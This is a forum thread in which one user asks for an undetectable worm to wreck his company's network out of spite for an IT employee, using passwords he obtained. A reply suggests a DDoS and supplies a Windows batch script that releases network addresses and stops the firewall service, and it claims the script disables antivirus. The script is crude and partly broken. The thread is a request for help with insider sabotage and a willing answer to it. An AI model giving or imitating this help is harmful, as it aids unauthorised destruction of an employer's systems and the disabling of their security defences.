Thread: [Help me how to destroy a network if you have its passwords](#)

Cracker86 - May 31, 2009, 11:31 pm

I by chance got the passwords for my company network and i actually hate that IT guy working there. I previously had a worm that would block all the network access in server but i lost that and don't remember what's its name. It wasn't detectable and the only way to repair the server was to reinstall everything. Please help me find such a worm or any other so i can fuck up that network completely and it's not repairable. I have enough knowledge in computer so it won't be difficult for me to understand your answers.

Thank you

PS: I have passwords for everything but they can be reprogrammed (Switches, routers, firewalls, Bridges and APs)

SOSA_ - April 30, 2014, 6:39 pm

You could use a DDOS but thats probably not what your looking for so Ill suggest you make a bat file to fuck it up. Try this code to disable most antiviruses, security, internet
color 0a

@echo off

::-----Disable Internet-----::

ipconfig /release

if ERRORLEVEL1 ipconfig /release_all

::-----::

::-Disable Windows Firewall--::

net stop "MpsSvc"

taskkill /f /t /im "FirewallControlPanel.exe"

::-----::
